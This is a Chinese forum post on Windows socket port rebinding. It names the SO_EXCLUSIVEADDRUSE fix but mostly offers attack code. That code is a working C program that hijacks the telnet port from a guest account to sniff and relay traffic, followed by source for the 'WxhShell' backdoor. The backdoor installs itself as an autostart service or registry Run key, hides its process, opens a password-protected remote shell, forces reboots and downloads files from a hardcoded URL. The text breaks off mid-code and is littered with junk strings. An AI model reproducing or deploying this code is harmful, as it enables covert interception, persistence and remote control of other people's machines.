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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ag}V>i'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @+~=h{jv<  
u^a\02aV[  
  saddr.sin_family = AF_INET; >SpXB:wx  
x n)FE4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q88p~Ccoa  
h`+Gs{1qw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IrQ8t!  
Pd!;z=I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F7a &-  
yq+<pfaqvK  
  这意味着什么?意味着可以进行如下的攻击: NHA 2 i  
Gir_.yc/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9\3%5B7  
jENarB^As  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cd{3JGg B  
!+& NG&1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h95C4jBE  
o_/C9[:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .vNfbYH(  
vW]Frb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "L@qjSs8  
vM~/|)^0sW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *E0+!  
hR b k-b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x={t}qDS8  
/- z_"G  
  #include !_E E|#`n  
  #include qyl~*r*  
  #include ]_I<-}?;  
  #include    _/ j44q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5Zs"CDU  
  int main() 8B;`9?CI  
  { 'j#oMA{0  
  WORD wVersionRequested; g3n^ <[E  
  DWORD ret; q_HC68YF,  
  WSADATA wsaData; Djx9TBZ5  
  BOOL val; OP |{R7uC  
  SOCKADDR_IN saddr; /' L20aN2  
  SOCKADDR_IN scaddr; [?Y u3E\  
  int err; OdgfvHDgW  
  SOCKET s; Wd$N[|  
  SOCKET sc; Cvm ZW$5Yo  
  int caddsize; D}"\nCz}y&  
  HANDLE mt; g*t.g@B<2  
  DWORD tid;   qMYR\4"$  
  wVersionRequested = MAKEWORD( 2, 2 ); 9bgKu6-X  
  err = WSAStartup( wVersionRequested, &wsaData ); ?# >|P-4  
  if ( err != 0 ) { FMY r6/I  
  printf("error!WSAStartup failed!\n"); oV ?tp4&  
  return -1; efMv1>{  
  } @)&b..c?_  
  saddr.sin_family = AF_INET; ]]o7ej  
   i051qpj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N;A1e@bP  
rsBF\(3b~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qA9*t  
  saddr.sin_port = htons(23); 5{ #9b^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &k\7fvF  
  { SAs'u"EB  
  printf("error!socket failed!\n"); +;#hED; 8  
  return -1; /r@P\_  
  } \|R`wFn^P  
  val = TRUE; >IfJ.g"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t(lTXG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wr`=P,  
  { d|on y  
  printf("error!setsockopt failed!\n"); ':[+UUC@  
  return -1; T7m rOp  
  } *-Lnsi^7v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [rTV)JsTb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i3: sV5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5g F}7D@  
JC{}iG6r+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y~=5umNSX  
  { h1fJ`WT6,  
  ret=GetLastError(); r-]R4#z>  
  printf("error!bind failed!\n"); {0QD-b o  
  return -1; M(Jf&h4b  
  } \#tr4g~u  
  listen(s,2); qfC9 {gu  
  while(1) a&L8W4  
  { ""D rf=]  
  caddsize = sizeof(scaddr); 1>a^Q  
  //接受连接请求 tl;?/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rZGbU&ZM8  
  if(sc!=INVALID_SOCKET) BOL_kp"   
  { 3I:DL#f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %Tsefs?_  
  if(mt==NULL) &>I8^i  
  { 'P@a_*I  
  printf("Thread Creat Failed!\n"); RfN5X}&A  
  break; 'ZT!a]4  
  } dq:M!F  
  } .%->   
  CloseHandle(mt); +hjc~|RK  
  } V$q%=Sip  
  closesocket(s); U{>!`RN  
  WSACleanup(); >ID 3oi  
  return 0; 5`x9+XvoN  
  }   4 CX*,7LZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) >z^T~@m7l  
  { C+5^[V  
  SOCKET ss = (SOCKET)lpParam; dUb(C1h  
  SOCKET sc; 8>pFpS  
  unsigned char buf[4096]; pKEMp&geo  
  SOCKADDR_IN saddr; ]-x#zp;=  
  long num; \vQ_:-A  
  DWORD val; (Egykh>  
  DWORD ret; / 6gRoQ%j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bL0+v@(r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DMf^>{[  
  saddr.sin_family = AF_INET; i":-g"d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NPB':r-8  
  saddr.sin_port = htons(23); M?nnpO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  .)cOu>  
  { &`>*3m(  
  printf("error!socket failed!\n"); 2vWkAC;   
  return -1; ` |]6<<'iW  
  } 2"__jp:(  
  val = 100; rEAPlO.Yp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JH)&Ca>S  
  { r4D66tF  
  ret = GetLastError(); E&&80[tN]  
  return -1; Wc,8<Y'   
  } >wMsZ+@m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T7W+K7kbI  
  { *ac#wEd  
  ret = GetLastError(); `M7){  
  return -1; e6F:['j  
  } FswFY7 8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >F-J}P  
  { ._FgQ` `PL  
  printf("error!socket connect failed!\n"); yaX,s 4p  
  closesocket(sc); /$9/,5|EA  
  closesocket(ss); .}Zmqz[  
  return -1; `Z@wWs  
  } 'rR\H2b   
  while(1) ;m`I}h<  
  { }kOhwT8sI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~{5%~8h.0r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fa/i./V2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 efbt\j6@%2  
  num = recv(ss,buf,4096,0); vG\Wr.h0!=  
  if(num>0) gdT^QM:y4$  
  send(sc,buf,num,0); v>nJy~O]  
  else if(num==0) 10[~ki-1;  
  break; LXXxwIBS  
  num = recv(sc,buf,4096,0); p19Zxh  
  if(num>0) uWfse19  
  send(ss,buf,num,0); [ B (lJz  
  else if(num==0) ]a:kP,  
  break; 4h~Oj y16&  
  } L7jz^g^  
  closesocket(ss); Q z/pz_}  
  closesocket(sc); 8F[j}.8q  
  return 0 ; cnIy*!cJs  
  } [9LYR3 p  
s-C.+9  
G2jEwi  
========================================================== hCo&SRC/5  
JI*ikco-  
下边附上一个代码,,WXhSHELL F2:7UNy,  
u8W*_;%:  
========================================================== A?7%q^;E  
"RShsJZMH  
#include "stdafx.h" tNUcmiY  
#g|j;{P  
#include <stdio.h> w}(xs)`num  
#include <string.h> [p7le8=  
#include <windows.h> !t_,x=  
#include <winsock2.h> u>(Q& 25  
#include <winsvc.h> t TmFJ5  
#include <urlmon.h> C$%QVcf  
l+N?:E$5=%  
#pragma comment (lib, "Ws2_32.lib") =}q4ked /  
#pragma comment (lib, "urlmon.lib") f0[xMn0Tu  
,F *e^#>  
#define MAX_USER   100 // 最大客户端连接数 ebao7r5@  
#define BUF_SOCK   200 // sock buffer RB\WttI  
#define KEY_BUFF   255 // 输入 buffer c:$:j,i}  
.xk<7^ZD  
#define REBOOT     0   // 重启 q?MYX=Y6  
#define SHUTDOWN   1   // 关机 4sJx_Qi  
Y^!40XjrD  
#define DEF_PORT   5000 // 监听端口 9iOlR=-*  
.(hb8 rCM  
#define REG_LEN     16   // 注册表键长度 &x3"Rq_  
#define SVC_LEN     80   // NT服务名长度 nRo`O  
e;pNB  
// 从dll定义API , m\0IgZdz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DRzpV6s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CTI(Kh+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [n}c}%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lZua"Ju  
c]"B)I1L  
// wxhshell配置信息 %-*vlNC)  
struct WSCFG { *K98z ?  
  int ws_port;         // 监听端口 tEEhSG)s%  
  char ws_passstr[REG_LEN]; // 口令 Eyn3Vv?v  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~::R+Lh(  
  char ws_regname[REG_LEN]; // 注册表键名 /9yiMmr5W  
  char ws_svcname[REG_LEN]; // 服务名 {&;b0'!Tf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L.Lt9W2fi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  HOD2/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tFSdi. |G=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k}O|4*.BT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9D| FqU |  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R utW{wh  
5\'%zZ,l  
}; +Va?wAnr  
g764wl  
// default Wxhshell configuration WR-C_1-pT  
struct WSCFG wscfg={DEF_PORT, I{AU,  
    "xuhuanlingzhe", "TV.$s$.  
    1, $XI<s$P%(%  
    "Wxhshell", PRLV1o1#  
    "Wxhshell", ljis3{kn""  
            "WxhShell Service", $Us@fJr  
    "Wrsky Windows CmdShell Service", kg61Dgu  
    "Please Input Your Password: ", ;`+RSr^8$  
  1, Pz)QOrrG~  
  "http://www.wrsky.com/wxhshell.exe", M$?6 '  
  "Wxhshell.exe" .J@[v  
    }; nn   
x2B"%3th0  
// 消息定义模块 C&st7. (k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -#o+x Jj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m Zh VpIUO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xWwPrd  
char *msg_ws_ext="\n\rExit."; (g)@wNBW  
char *msg_ws_end="\n\rQuit."; e-')SB  
char *msg_ws_boot="\n\rReboot..."; 'H'+6   
char *msg_ws_poff="\n\rShutdown..."; *~cs8<.!1  
char *msg_ws_down="\n\rSave to "; e>>G4g  
ICTtubjV"  
char *msg_ws_err="\n\rErr!";  bSR<d  
char *msg_ws_ok="\n\rOK!"; bc4x"]!  
StDmJ]  
char ExeFile[MAX_PATH]; dbuOiZ  
int nUser = 0; =5/;h+bk+3  
HANDLE handles[MAX_USER]; PHK#b.B>a8  
int OsIsNt; d-<y'GYw  
h.9Lh ;j  
SERVICE_STATUS       serviceStatus; (XwLKkw0n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uy9B8&Sr  
pjCWg 4ya  
// 函数声明 ) e2IT*7  
int Install(void); yUSB{DLpla  
int Uninstall(void); G}-.xj]  
int DownloadFile(char *sURL, SOCKET wsh); D{4hNO  
int Boot(int flag); }>w  
void HideProc(void); Ntn md  
int GetOsVer(void); XH *tChf<  
int Wxhshell(SOCKET wsl); D+)=bPMe  
void TalkWithClient(void *cs); 0;h1LI)  
int CmdShell(SOCKET sock); N.G*ii\  
int StartFromService(void); UjDF  
int StartWxhshell(LPSTR lpCmdLine); !TOi]`vqc  
f0`' i[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i@CMPz-h&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ; BZM~ '  
5y3TlR  
// 数据结构和表定义 Crhi+D  
SERVICE_TABLE_ENTRY DispatchTable[] = u,akEvH~a  
{ U&n>fXTHn  
{wscfg.ws_svcname, NTServiceMain}, W^ :/0WR  
{NULL, NULL} z^/GTY  
}; D;I`k L  
yUW&Wgc=:  
// 自我安装 jDX<iX%e  
int Install(void) ]`sIs= _[  
{ M',D  
  char svExeFile[MAX_PATH]; W #L"5pRg  
  HKEY key; AMd)d^;  
  strcpy(svExeFile,ExeFile); cXY'>N  
=[K)<5,@  
// 如果是win9x系统,修改注册表设为自启动 ]pV1T  
if(!OsIsNt) { E.`d k.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {?mQqoZ?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !ix<|F5  
  RegCloseKey(key); IOkC[([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w;EXjl;X O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GeaDaYh#T  
  RegCloseKey(key); (<3lo ZaX  
  return 0; o$ce1LO?|N  
    } KF_Wu}q d  
  } n6-Ic',;  
} v7(|K  
else { @sHw+to|p)  
:#[_Osmf(  
// 如果是NT以上系统,安装为系统服务 +w.Kv ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _qeuVi=A  
if (schSCManager!=0) ij(4)=  
{ b_jZL'en  
  SC_HANDLE schService = CreateService FMd LkyK;  
  ( !Gp3/<"Wy$  
  schSCManager, _`_IUuj$E  
  wscfg.ws_svcname, vif8 {S  
  wscfg.ws_svcdisp,  A<Z 5  
  SERVICE_ALL_ACCESS, p$nK@t}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fHd!/%iG  
  SERVICE_AUTO_START, {* j^g6;  
  SERVICE_ERROR_NORMAL, "Wk{4gS7l  
  svExeFile, r^A#[-VyNP  
  NULL, = b<<5N s  
  NULL, N4H+_g|  
  NULL, Yc82vSG'  
  NULL, WYC1rfd=  
  NULL d%lHa??/ h  
  ); @ 9 { %Kn  
  if (schService!=0) 2d2@J{  
  { |R;l5ZKvV  
  CloseServiceHandle(schService); ^ Y7/Ow  
  CloseServiceHandle(schSCManager); }utNZhJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !wd'::C  
  strcat(svExeFile,wscfg.ws_svcname); T1Q sW<*j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6 r.H8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gXu^"  
  RegCloseKey(key); AM[jL'r|  
  return 0; 'dc+M9u)_q  
    } Q*:h/Lhb&  
  } f5aF6FBH  
  CloseServiceHandle(schSCManager); 6%kJDY.  
} ,xYsH+ybA  
} DMQNr(w{!2  
=~hsKBt*  
return 1; rocB"0  
} Wzqb>.   
>HPvgR/#BY  
// 自我卸载 {@V3?pG?p  
int Uninstall(void) }xb_s  
{ FKox0Jmh=  
  HKEY key; l#b|@4:I  
0TO_1 0D  
if(!OsIsNt) { rg5]`-!=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [v0ri<sm  
  RegDeleteValue(key,wscfg.ws_regname); WQ[}&kY~  
  RegCloseKey(key); ,g/ _eROJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rX33s  
  RegDeleteValue(key,wscfg.ws_regname); F gWkcV6B  
  RegCloseKey(key); 0+}EA[  
  return 0; a|QE *s.  
  } /o~qC<7  
} *p&^!ct  
} 3vdu;W=Sz  
else { :}@C9pqr2  
Fm<jg}>MAd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IvTzPPP  
if (schSCManager!=0) Vvm=MBgN  
{ h `\$sT!Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nn@^K6  
  if (schService!=0) 7m:|u*ij2~  
  { UzgA26;  
  if(DeleteService(schService)!=0) { v /R[?H)  
  CloseServiceHandle(schService); +M'aWlPg,  
  CloseServiceHandle(schSCManager); .tRr?*V|l  
  return 0; Ot`LZ"H:  
  } fvcW'T}r  
  CloseServiceHandle(schService); {f+N]Oo*  
  } v2hZq-q  
  CloseServiceHandle(schSCManager); A*8m8Sh$  
} YDQ:eebg(  
} gA~20LSt  
K(nS$x1G  
return 1; C4QeDvpI  
} DX}B0B  
TGU:(J'^  
// 从指定url下载文件 R_Zv'y6  
int DownloadFile(char *sURL, SOCKET wsh) w9RF2J  
{ #NvQmz?J?  
  HRESULT hr; b TLMd$  
char seps[]= "/"; FXP6zHsV  
char *token; b?_e+:\UV  
char *file; Ih.rC>)rx  
char myURL[MAX_PATH]; @$qOW  
char myFILE[MAX_PATH]; z`k El@  
#z ON_[+s9  
strcpy(myURL,sURL); 0QMTIAW6h  
  token=strtok(myURL,seps); d<Ggw#}:m  
  while(token!=NULL) C:`;d&d  
  { 'yp>L|  
    file=token; 60!1 D>,  
  token=strtok(NULL,seps); ;LCTCt`  
  } *cbeyB{E  
e`i7ah;  
GetCurrentDirectory(MAX_PATH,myFILE); CSMeSPOm]  
strcat(myFILE, "\\"); E7Ibp79}N  
strcat(myFILE, file); nX0HT )}  
  send(wsh,myFILE,strlen(myFILE),0); {?E<](+0  
send(wsh,"...",3,0);  _e%dM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v" }WP34  
  if(hr==S_OK) G&q'#3ieC  
return 0; 1/B]TT  
else 'E4AV58.  
return 1; Ntb:en!X  
pb!V|#u"  
} qgoJ4Z*  
hd+]Ok7"  
// 系统电源模块 9\HR60V  
int Boot(int flag) sI_7U^"[  
{ eGm:)   
  HANDLE hToken; ]' Y|N l  
  TOKEN_PRIVILEGES tkp; !p9)CjQ"  
Xka<I3UD5  
  if(OsIsNt) { U@G"`RYl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5?WYsj"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *G9sy_  
    tkp.PrivilegeCount = 1; xwRhs!`t1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9lf*O0Z&n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6{q;1-8j+j  
if(flag==REBOOT) { <,"4k&0Q>V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7R}9oK_I  
  return 0; M=OCz gj  
} v??TJ^1  
else { ,LD m8   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #05jC6  
  return 0; lVz9k  
} vw2`:]Q+  
  }  qve ./  
  else { H`~;|6}]n  
if(flag==REBOOT) {  MJ`N,E[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8WL8/  
  return 0; +#2)kg 9_  
} 1B|8ZmFJj  
else { Z$ p0&~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,apNwkY  
  return 0; `K*b?:0lp  
} B z^|SkEit  
} q2hFOm  
T.REq4<  
return 1; M|q~6oM  
} #]CFA9 z  
+Y}V3(w9X  
// win9x进程隐藏模块 `ltN,?/  
void HideProc(void) :_5/u|{  
{ <3 TA>Dz  
nd ink$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F>zl9Vi<  
  if ( hKernel != NULL ) rYY$wA@  
  { LCs__.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [U>@,BH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Obn&S  
    FreeLibrary(hKernel); !M7<BD};  
  } K_~h*Yc  
<[Q3rJ  
return; *)<B0SjT  
} S4N(cn&  
('O}&F1  
// 获取操作系统版本 D-2.fjo9!  
int GetOsVer(void) 7Vu?  
{ 33'Y[4  
  OSVERSIONINFO winfo; "T2"]u<52  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eujK4s  
  GetVersionEx(&winfo); =^&%9X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hA}~es=c  
  return 1; P?LlJ 5hn  
  else QzOkpewf  
  return 0; )?=YT  
} 4jNG^@O  
[kV;[c}  
// 客户端句柄模块 /ASaB  
int Wxhshell(SOCKET wsl) ~1 ~Xfo>  
{ yF13Of^l./  
  SOCKET wsh; X(A.X:"  
  struct sockaddr_in client; ^03j8Pc-c  
  DWORD myID; +k\Uf*wh  
$P z`$~  
  while(nUser<MAX_USER) OFk8>"|  
{ `F t]MR  
  int nSize=sizeof(client); 69m ;XdkKz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |4(~%| 8{  
  if(wsh==INVALID_SOCKET) return 1;  YZc>dE  
&;i "P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fmyj*)J[Z  
if(handles[nUser]==0) oF]cTAqhC.  
  closesocket(wsh); JyLa#\ R  
else 6%,C_7j  
  nUser++; [XVEBA4GI  
  } VU`OO$,W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *NFg;<:j  
o*WY=  
  return 0; p)aeH`;O  
} #:jb*d?  
r;BT,jiX  
// 关闭 socket kOO Gw:/  
void CloseIt(SOCKET wsh) G!w"{Bk?9  
{ dZ#&YG)?e  
closesocket(wsh); c 'uhK8|  
nUser--; 2H71~~ c  
ExitThread(0); N6K* d` o  
} PZxAH9 S?  
zgx&Pte  
// 客户端请求句柄 m>USD? i  
void TalkWithClient(void *cs) '* mH*?Y  
{ De7T s  
L86n}+ P\  
  SOCKET wsh=(SOCKET)cs; NBl+_/2'w  
  char pwd[SVC_LEN]; FZjHw_pP  
  char cmd[KEY_BUFF]; d->|EJP  
char chr[1]; &'cL%.  
int i,j; r/pH_@  
JB!:JML  
  while (nUser < MAX_USER) { ! cKz7?w  
+uay(3m((  
if(wscfg.ws_passstr) { S$KFf=0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ wg:!VWA)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HeBcT^a  
  //ZeroMemory(pwd,KEY_BUFF); HhO".GA  
      i=0; " \I4u{zC  
  while(i<SVC_LEN) { n>@oBG)!  
pv| Pm  
  // 设置超时 @`\VBW  
  fd_set FdRead; 8DP+W$  
  struct timeval TimeOut; {U&.D [{&  
  FD_ZERO(&FdRead); !9 fz(9  
  FD_SET(wsh,&FdRead); /cc\fw1+  
  TimeOut.tv_sec=8; o7IxJCL=Q  
  TimeOut.tv_usec=0; *~w[eH!!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]HpA5q1ck  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~?B;!Csk  
'SQG>F Uy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (sVi\R  
  pwd=chr[0]; nUkaz*4qU  
  if(chr[0]==0xd || chr[0]==0xa) { f~ }H  
  pwd=0; !i=nSqW  
  break; 9UvXC)R1  
  } J2uZmEt  
  i++; N0#JOu}~  
    } [+qCs7'  
v[Kxja;  
  // 如果是非法用户,关闭 socket g{5A4|_7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >X*Mio8P#  
} sz9L8f2  
CI3XzH\IX*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B"%{i-v>**  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DTWD |M  
'\jd#Kn'h  
while(1) { %YOndIS:  
ve&zcSeb  
  ZeroMemory(cmd,KEY_BUFF); O%r;5kP  
m&|`x  
      // 自动支持客户端 telnet标准   IIq1\khh  
  j=0; &+G"k~%  
  while(j<KEY_BUFF) { z({hiVs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .^b;osAU  
  cmd[j]=chr[0]; WJ*n29^N^h  
  if(chr[0]==0xa || chr[0]==0xd) { 7Pa@1']  
  cmd[j]=0; V2N_8)s9W  
  break; LzYO$Ir:g  
  } \W%UZs  
  j++; '= l[;Q^Q  
    } z $MV%F  
`9 {mr<  
  // 下载文件 u[{tb  
  if(strstr(cmd,"http://")) { (ND4Q[*6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j;+?HbL  
  if(DownloadFile(cmd,wsh)) Y"KE7>Jf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  [~&XL0  
  else T~b>B`_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s`#(   
  } v!%5&: c3  
  else { %Ts PyiYl  
[CAR[ g&  
    switch(cmd[0]) { Q:$Zy  
  $Y 7c  
  // 帮助 IEyL];K  
  case '?': { &.Zb,r$Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ :F.  
    break; S(7ro]U9  
  } . BiCBp<  
  // 安装 Q);n<Z:X~  
  case 'i': { GIAc?;zY  
    if(Install()) BATG FS&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7f ${  
    else t-LG }nv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u a\,->  
    break; "]-Xmdk09  
    } VM0j`bs'K*  
  // 卸载 [xKd7"d/n  
  case 'r': { x|{IwA9  
    if(Uninstall()) N:9>dpP}O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]'rz,E<  
    else san,|yrMn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r#6_]ep}<'  
    break; w;l<[q?_  
    } &hk-1y9QS  
  // 显示 wxhshell 所在路径 [}fv  dW  
  case 'p': { %8~3M75$  
    char svExeFile[MAX_PATH]; Q~Z=(rP20  
    strcpy(svExeFile,"\n\r"); Vrvic4  
      strcat(svExeFile,ExeFile); 5[Pr|AY  
        send(wsh,svExeFile,strlen(svExeFile),0); l{D'uI[&  
    break; M2U&?V C!  
    } ;}'D16`j  
  // 重启 *cO sv  
  case 'b': { j+HHQd7Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L;od6<.*m  
    if(Boot(REBOOT)) @&}q} D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vi$-Bw$@  
    else { pBw0"ff  
    closesocket(wsh); S~Id5T:,  
    ExitThread(0); ~ Uo)0  
    } 72,rFYvpK  
    break; n!qV>k9Y  
    } \.g\Zib )  
  // 关机 4WB-Ec  
  case 'd': { AdWq Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $k$4% 7  
